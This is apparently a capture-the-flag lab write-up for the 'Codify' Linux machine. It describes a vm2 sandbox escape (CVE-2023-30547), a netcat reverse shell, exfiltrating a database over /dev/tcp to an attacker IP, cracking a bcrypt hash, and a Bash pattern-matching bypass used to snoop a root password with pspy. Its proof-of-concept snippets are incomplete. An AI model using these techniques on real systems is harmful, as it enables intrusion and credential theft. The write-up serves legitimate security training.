Codify
Codify
Difficulty: Easy
Classification: Official
Synopsis
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The
application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating
the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box.
Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password,
leading to privileged access to the machine.
Skills Required
Linux enumeration
Web Enumeration
CVE Research
Skills Learned
Node.js library exploitation
Bash code review
Enumeration
Enumeration
Nmap
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.239 | grep '^[0-9]' | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.239
An initial Nmap scan reveals three open TCP ports. On port 22, an SSH server is running; on port 80, an
Apache web server, and on port 3000, a Node.js Express application is running. Since we don't have valid
SSH credentials, we begin our enumeration by visiting port 80 .
HTTP
Browsing to port 80 , we are redirected to codify.htb , which we add to our /etc/hosts file so we can
resolve the domain and access the website.
Looking at the About Us page, we see a mention of the vm2 library. This is a Node.js library designed for
creating isolated JavaScript environments, commonly known as sandboxes , which allows developers to
execute untrusted code securely.
Also, looking at the limitations page, we see that some of the modules have been restricted from being
imported, as a security precaution.
Foothold
A quick Google search for vulnerabilities that affect the vm2 library leads us to CVE-2023-30547. The
vulnerability in question affects versions up to 3.9.16 . It involves the improper sanitisation of exceptions
within the vm2 sandbox, a feature intended to safely execute untrusted code. Attackers can exploit this flaw
by raising a host exception that isn't properly sanitised in the handleException() function. By doing so,
they can escape the sandbox environment and execute arbitrary code within the host context.
We also come across this Proof-of-concept.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
console.log(vm.run(code));
If we run the above JavaScript code on the Editor page, we see that it executes successfully and displays
the uid (User Identifier) of the svc user. We can now leverage this and to get a reverse shell.
We start off by creating a bash script locally that will initiate a callback to our machine.
Finally, we start a Netcat listener, which we will use to catch the reverse shell once our script has been
executed.
nc -lnvp 4444
We run an updated version of the PoC, which uses curl to fetch our script from our Python web server and
pipes it through bash.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
console.log(vm.run(code));
We see that the script is successfully executed, our bash script is downloaded, and we get a connection back
to our Netcat listener as the user svc .
To get a more stable shell, we can run the script command to create a new PTY.
cat /etc/passwd
Lateral Movement
Searching through the web directories, we discover a SQLite database file in the /var/www/contacts
directory.
cd /var/www/contacts
file tickets.db
We will transfer the database to our local machine to view its contents. For this, we will be using Netcat .
On our local machine, we start a Netcat listener on port 2222 and write its output to tickets.db .
On the box, we use cat to read the file and "write" its contents to /dev/tcp/<your_ip>/2222 . This is not
exactly a file but rather a means to instruct the kernel to create a TCP connection to the specified IP and
port and then write to it. It is a neat trick one can use if wget or curl are not available on a given server to
upload or exfiltrate files.
sqlite3 tickets.db
We use the .tables command to list all the tables in the database.
Here, we see the users table, which seems interesting as it may contain credentials. We can use the
select statement to dump its contents.
From the output, we see the hash for the user Joshua . Armed with this hash, we can now attempt to crack
it using Hashcat . The $2a$ at the start of the hash means that we are dealing with a bcrypt hash, which we
can crack using -m 3200 .
Privilege Escalation
Checking the sudo entries for the user joshua , we can see that we can execute the /opt/scripts/mysql-
backup.sh script as root .
sudo -l
1. Sets up variables for the database user ( DB_USER ), retrieves the database password from a file
( DB_PASS ), and specifies the backup directory ( BACKUP_DIR ).
2. Prompts the user to enter the MySQL password for the specified database user and compares the
entered password ( USER_PASS ) with the one retrieved from the file ( DB_PASS ) and exits if they do not
match.
3. Creates the backup directory if it doesn't exist. Retrieves a list of databases from the MySQL server,
excluding system databases (information_schema, performance_schema), using the provided user
credentials. Iterates through the list of databases and dumps them using mysqldump , afterwards
compressing the output and saving it as a gzip file in the backup directory.
4. Changes the permissions of the backup directory to be owned by root:sys-adm and sets the
permissions to 774 recursively. Prints a message indicating that the backup process is complete.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
/usr/bin/mkdir -p "$BACKUP_DIR"
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" |
/usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
In the above script, we notice two flaws. One is in the way it compares the user-provided password and the
real password. Since the right-side comparison variable is not quoted, this will allow us to do pattern-
matching. This is due to the use of == inside [[ ]] in Bash , which performs pattern matching rather than
a direct string comparison; more on this can be found here. As an illustration, suppose the actual password
( DB_PASS ) is Passw0rd , and the user inputs * as their password ( USER_PASS ). In this case, the pattern
match will be evaluated as true because * matches any string.
The second flaw is in the way the password is passed to mysqldump . This is not the password that the user
provided, but rather the one taken from the credential file in /root/.creds . This means that if we bypass
the password check through the aforementioned pattern matching bypass, then we will not only be able to
run the rest of the script normally, but also view the real password by using a process snooping tool such as
pspy. As such, to be able to view the real password, we will need two SSH sessions: one to run pspy and
the other one to run the script.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
Then, once we download the binary, we proceed to start a Python server in the same directory.
With the server running, we can now use wget to download it onto the box.
wget http://10.10.14.99:8082/pspy64s
We change the permissions of the file to make it executable and then proceed to run it.
chmod +x pspy64s
./pspy64s
Now, if we go back to our other SSH session and run the script, providing * as the password, we will see
the mysqldump command being triggered in the pspy output.
Here, in the pspy shell, we are now able to view the real password for the root MySQL user, which is
kljh12k3jhaskjh12kjh3 .
We try to use this password to authenticate as the root user.
su root
Our attempt is successful and we are now root . The final flag can be found at /root/root.txt .